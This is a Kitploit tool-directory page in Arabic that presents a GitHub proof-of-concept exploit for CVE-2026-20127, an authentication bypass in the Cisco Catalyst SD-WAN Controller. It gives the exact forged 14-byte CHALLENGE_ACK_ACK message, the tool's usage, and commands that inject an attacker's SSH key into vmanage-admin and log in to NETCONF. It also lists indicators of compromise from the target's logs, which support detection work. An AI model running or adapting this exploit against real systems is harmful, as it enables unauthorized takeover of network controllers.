Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-20127 — استغلال لتجاوز المصادقة في وحدة تحكم Cisco Catalyst SD-WAN (CVE-2026-20127) يقوم بتزوير رسائل DTLS CHALLENGE_ACK_ACK للحصول على وصول غير مصرح به وحقن مفاتيح SSH. | Kitploit
أدوات/GitHubGitHub/sfewer-r7/cve-2026-20127
تحليل الثغرات الأمنيةالاستغلالأمن الشبكاتاختبار الاختراقالمصادقةالفريق الأحمر
GitHubsfewer-r7/cve-2026-20127

CVE-2026-20127

استغلال لتجاوز المصادقة في وحدة تحكم Cisco Catalyst SD-WAN (CVE-2026-20127) يقوم بتزوير رسائل DTLS CHALLENGE_ACK_ACK للحصول على وصول غير مصرح به وحقن مفاتيح SSH.

عرض المستودع
2438منذ 6 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-20127

نظرة عامة

استغلال لثغرة تجاوز المصادقة في Cisco Catalyst SD-WAN Controller، وهي CVE-2026-20127.

يستهدف هذا الاستغلال معالج vbond_proc_challenge_ack_ack(). يرسل رسالة CHALLENGE_ACK_ACK مزوّرة (msg_type=10) تحتوي على بايت verify_status=1 يتحكم فيه المهاجم، مما يجبر الخادم مباشرة على تعيين authenticated=1 في إدخال النظير.

كيف يعمل

في مصافحة مستوى التحكم DTLS العادية:

  1. يتصل العميل عبر DTLS بشهادة
  2. يرسل الخادم CHALLENGE (msg_type=8)
  3. يستجيب العميل بـ CHALLENGE_ACK (msg_type=9) يحتوي على بيانات الشهادة
  4. يتحقق الخادم من الشهادة ويرسل CHALLENGE_ACK_ACK (msg_type=10) مع
verify_status=1

يقوم هذا الاستغلال بتقصير المسار:

  1. يتصل العميل عبر DTLS بشهادة موقّعة ذاتياً
  2. يرسل الخادم CHALLENGE
  3. يرسل العميل CHALLENGE_ACK_ACK (msg_type=10) مع verify_status=1 مباشرة
  4. يقرأ vbond_proc_challenge_ack_ack() في الخادم قيمة verify_status من نص الرسالة — وهذه القيمة يتحكم فيها المهاجم
  5. بما أن verify_status != 0، يقوم الخادم بتعيين authenticated=1 (*(BYTE*)(a2+70) = 1)

بوابة المصادقة في vbond_proc_msg() تستثني msg_type=10 من فحوصات المصادقة، لذلك يعمل هذا حتى وإن لم يكن النظير مصادقاً بعد.

تم اختباره ويعمل بنجاح ضد Cisco Catalyst SD-WAN Controller (المعروف أيضاً باسم vSmart)، الإصدار 20.15.3.

تم اختباره ويفشل ضد Cisco Catalyst SD-WAN Controller (المعروف أيضاً باسم vSmart) المُصحّح، الإصدار 20.12.6.1.

الاستخدام

root@kitploit:~
Usage: ./bin/vdaemon_exploit TARGET [options]

vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)

This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.

    -p, --port PORT                  DTLS port (default: 12346)
        --inject-key                 Generate and inject SSH key into vmanage-admin authorized_keys
        --ssh-key PUBKEY_FILE        Path to SSH public key file to inject
        --cert CERT_FILE             Path to PEM certificate file for DTLS handshake
        --cert-key KEY_FILE          Path to PEM private key file for DTLS handshake (used with --cert)
        --data-dir DIR               Directory for generated keys/certs (default: ./data/)

Examples:
  ./bin/vdaemon_exploit 192.168.86.166
  ./bin/vdaemon_exploit 192.168.86.166 --inject-key
  ./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
  ./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem

مثال

root@kitploit:~
# Install dependencies
bundle install

# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166

# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key

# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830

تُظهر لقطة الشاشة التالية استغلالاً ناجحاً والوصول اللاحق عبر SSH إلى خدمة NETCONF:

CVE-2026-20127 Example

التفاصيل التقنية

الدالة القابلة للاستغلال: vbond_proc_challenge_ack_ack()

تقع في العنوان 0x38AB7 في vdaemon (20.12.5). تعالج الدالة رسائل CHALLENGE_ACK_ACK الواردة وتحتوي على هذه الفحوصات الرئيسية:

  1. فحص التكرار (a2+112): يرفض إذا كانت رسالة CHALLENGE_ACK_ACK قد عولجت بالفعل لهذا النظير. في المرة الأولى، يكون هذا العداد 0 → ينجح.
  2. رفض vBond (a1+8 == 4): يُرجع 20 إذا كان الجهاز المحلي هو vBond. نحن نستهدف vSmart (type=3) → ينجح.
  3. إنشاء المؤقت: ينشئ مؤقت الترحيب ومؤقت انتهاء الصلاحية. من غير المرجح أن يفشل → ينجح.
  4. verify_status (a3+32): يقرأ البايت الأول من نص الرسالة. إذا كان صفراً → مسار الرفض (حذف النظير). إذا كان غير صفري → يعيّن *(BYTE*)(a2+70) = 1 (مصادق).

الخلل الحرج: تأتي قيمة verify_status مباشرة من نص الرسالة الذي يتحكم فيه المهاجم دون أي تحقق من جانب الخادم. تثق الدالة بادعاء النظير بشأن حالة التحقق.

استثناء بوابة المصادقة

في vbond_proc_msg()، تستثني بوابة المصادقة التي تمنع النظائر غير المصادقة من إرسال معظم أنواع الرسائل بشكل صريح msg_type=10 (CHALLENGE_ACK_ACK). هذا ضروري لمسار البروتوكول الشرعي (يرسل الخادم ACK_ACK إلى العميل قبل اكتمال المصادقة)، ولكنه يسمح أيضاً للمهاجم بإرسال ACK_ACK مزوّرة إلى الخادم.

تنسيق الإرسال

يرسل الاستغلال رسالة من 14 بايت:

root@kitploit:~
Header (12 bytes):
  Byte 0:  0x0A        (version=0, msg_type=10/CHALLENGE_ACK_ACK)
  Byte 1:  0x30        (device_type=3/vSmart << 4)
  Byte 2:  0xA0        (flags)
  Byte 3:  0x00        (reserved)
  Bytes 4-7:  domain_id  (big-endian u32, default: 1)
  Bytes 8-11: site_id    (big-endian u32, default: 100)

Body (2 bytes):
  Byte 0:  0x01        (verify_status = 1 / TRUE)
  Byte 1:  0x00        (reserved)

مؤشرات الاختراق (IOCs)

في هذا المثال، كان الهدف هو Cisco Catalyst SD-WAN Controller (المعروف أيضاً باسم vSmart)، الإصدار 20.15.3. كان للهدف عنوان IP 192.168.86.166 وكان للمهاجم عنوان IP 192.168.86.35.

سجّل ملف السجل /var/log/vsyslog هذه الرسائل:

root@kitploit:~
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

سجّل ملف السجل /var/log/vdebug هذه الرسائل:

root@kitploit:~
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH     Au=RSA  Enc=AESGCM(256) Mac=AEAD
"
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up  generated-at:3-9-2026T15:2:12
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage
Mar  9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6
Mar  9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart  generated-at:3-9-2026T15:2:24
Mar  9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down  generated-at:3-9-2026T15:2:24

بعد استخدام الاستغلال بنجاح، يمكن للمهاجم عن بُعد الاستفادة من مفتاح SSH لمستخدم vmanage-admin المُحمَّل حديثاً لتسجيل الدخول إلى خدمة NETCONF عبر SSH على منفذ TCP 830. سجّل ملف السجل /var/log/auth.log هذه الرسائل:

root@kitploit:~
Mar  9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo
Mar  9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)
تنزيل الأداة